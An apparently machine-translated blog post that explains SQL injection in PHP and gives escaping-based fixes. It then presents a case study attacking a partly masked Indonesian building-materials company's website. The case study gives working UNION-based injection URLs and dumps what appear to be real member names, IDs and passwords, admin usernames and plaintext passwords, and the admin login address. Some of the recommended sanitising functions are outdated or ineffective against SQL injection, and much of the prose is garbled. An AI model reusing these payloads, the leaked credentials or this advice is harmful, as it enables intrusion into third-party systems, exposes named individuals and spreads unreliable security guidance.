Tricky & Tipsy Friend

Injecting SQL Statement

You may have heard about the "SQL Injection" ... creature is it, and what to do with the syringe-injected (injected) ? Well, it is a SQL Injection is a method of "injecting" or in other words insert variables into the SQL statement sent to the server in the form of POST, GET, or COOKIE.

For example, if you have a script like this :

$username = $_POST['username'];
$password = $_POST['password'];
$query = ”SELECT * FROM users WHERE user=’$username’ AND password=’$password’”;
mysql_query($query);

Script fragment above is an example of a login process is not secure. Well, what would happen if there was a "fad" to enter another code in the variable $ _GET? For example:

Username: Hacker
Password: 'OR' = '

Then the query log was going to be :

SELECT * FROM users WHERE user = 'Hacker' AND password =" OR "="

This means that ... The intruder can escape freely checks and login. Because of the password that is input will break down before the query and add a condition that evaluates to TRUE ("=" is TRUE), so the result will be TRUE AND TRUE = TRUE

In addition to be injected into the form, SQL Injection can be done in other crevices that may exist in the URL of a website like ... To prevent SQL Injection, then ALL the inputs that go into the script / database must be "sterile" about. Some ways to sterilize the input example :

• fungsi mysql_real_escape_string() –> http://www.php.net/manual/en/function.mysql-real-escape-string.php
• htmlentities(), htmlspecialchars(), strip_tags()
• stripslashes() dan addslashes()

Examples of functions that you can use to sterilize the input :

function cleanQuery($string)
{
if(get_magic_quotes_gpc())  // prevents duplicate backslashes
{
$string = stripslashes($string);
}
if (phpversion() >= ’4.3.0′)
{
$string = mysql_real_escape_string($string);
}
else
{
$string = mysql_escape_string($string);
}
return $string;
}

Examples of how to use: cleanQuery ($ _POST ['username'])

magic_quotes_gpc automatically adds "\" for any data that is sent from the browser (GET, POST, COOKIE). Thus no need to manually run addslashes function for each input variable (That's why it's called MAGIC). However, by setting magic_quotes_gpc ON just a lot of shortcomings ... If a script when you are forced to be moved to a server that is setting magic_quotes OFF, or if an admin web hosting when you change the setting to OFF (intentionally or unintentionally) ... then the data stored in your database can become unclean.

To check if magic_quotes_gpc setting is active or not, look at the line PHP.INI file:
magic_quotes_gpc = Off; magic quotes for incoming GET / POST / Cookie Data
In the above line means that the settings in the OFF condition

After studying the theory and how to cope with SQL Injection, let us now look at the case of "real" in the real world. Here is a case study of a SQL Injection I've ever tested on a website leading manufacturer of building materials in Indonesia. Now that the website has been corrected from SQL Injection vulnerabilities, it would not be wrong if I was not here to share it ?

One of the requirements to master SQL Injection and also methods to handle it, you inevitably have to master the SQL statements from DBMS (Database Management System) are used. In the example below, the database used is Microsoft SQL Server with ASP scripting.

SQL Injection techniques are practiced under the often called Blind SQL Injection. Because relying on the error messages issued by the program when the SQL statement script is broken / diinject ... As if you like a blind man groping to find the road (in this case the victim database structure). Unfortunately I was not able to save the error message in the form of text or printscreen (forgive me) ...

Okay enough introduction, below is statement2 that I used to get a username and password member :

http://www.r**anceramics.com/roman/product/floor/collection.asp?size=30×30′%20UNION%20SELECT%20TOP%201%20COLUMN_NAME%20,1,2,3,4,5,6,7,8%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=’member’%20AND%20COLUMN_NAME
%20NOT%20IN%20(‘member_id’,'password’,'salutation’,'fullname’,'company’,'title’,'address’,'country’,'phone’,
‘mobile’,'email’,'joindate’,'flagactive’,'flagnews’,'lastlogin’)–

http://www.r**anceramics.com/roman/product/floor/collection.asp?size=30×30′%20UNION%20SELECT%20TOP%201%20convert(int,%20password%2b’%20morpheus’)
,1,2,3,4,5,6,7,8%20FROM%20member%20where%20member_id%20LIKE%20′E%25′–

http://www.r**anceramics.com/roman/product/floor/collection.asp?size=30×30′%20UNION%20SELECT%20TOP%201%20member_id,1,2,3,4,5,6,7,8%20
FROM%20member%20where%20member_id%20LIKE%20′E%25′–

—————————————————–—————————————————–
FULLNAME                   MEMBER_ID    PASSWORD
—————————————————–—————————————————–
Mohammed Al Abbas      ABBAS              185111
Guido BALDERS            BALDERS          995094
Rolando Campollo           CAMPOLLO     977756
Fauzy                              Fauzy                  872335

To get admin and password :
http://www.r**anceramics.com/roman/product/floor/collection.asp?size=30×30′%20UNION%20SELECT%20TOP%201%20COLUMN_NAME%20,1,2,3,4,5,6,7,8
%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=’admin’%20AND%20
COLUMN_NAME%20NOT%20IN%20(‘admin_id’,'password’,'name’,'access_level’)–

—————————————————–
ADMIN_ID    PASSWORD
—————————————————–
admin              srkioke
adrianto           karawaci
david               newadmin
florence           newadmin
yonathan         admin123
==================================
LOGIN PAGE – MEMBER
==================================
http://www.r**anceramics.com/roman/more/default.asp
==================================
LOGIN PAGE – ADMIN
==================================
http://www.r**anceramics.com/roman/admin


You can see how dangerous it is not cleaning the variable that is sent by the browser ... Because basically anything that comes from the browser (user ) is in power and can be tampered with before being delivered . In this example I only get one crack in the file anceramics.com http://www.r ** / romance / product / floor / collection.asp ... But enough to get all the required data . Horrible is not it ? What if a malicious intruder ? Delete all the tables in your database is certainly not a difficult thing with the command DROP ... and BOOM ! There goes all your customer data ...

There are also developers who secure the data in a " brutal " , which encrypts all the data in the database with the hope that the data will not be readable despite successfully extracted by an intruder . Instead of getting a more secure system , it processes the query and data processing becomes longer and overload the servers ... especially if the number of records grows.

So the conclusion to address SQL Injection , Scrutinize all data that is sent back by the browser to the system and avoid ( if necessary change) SQL error message if an error occurs . It's true that no system is 100 % perfect , but wherever possible, we must close the gap for the candidates who intend adversely intruder systems we build.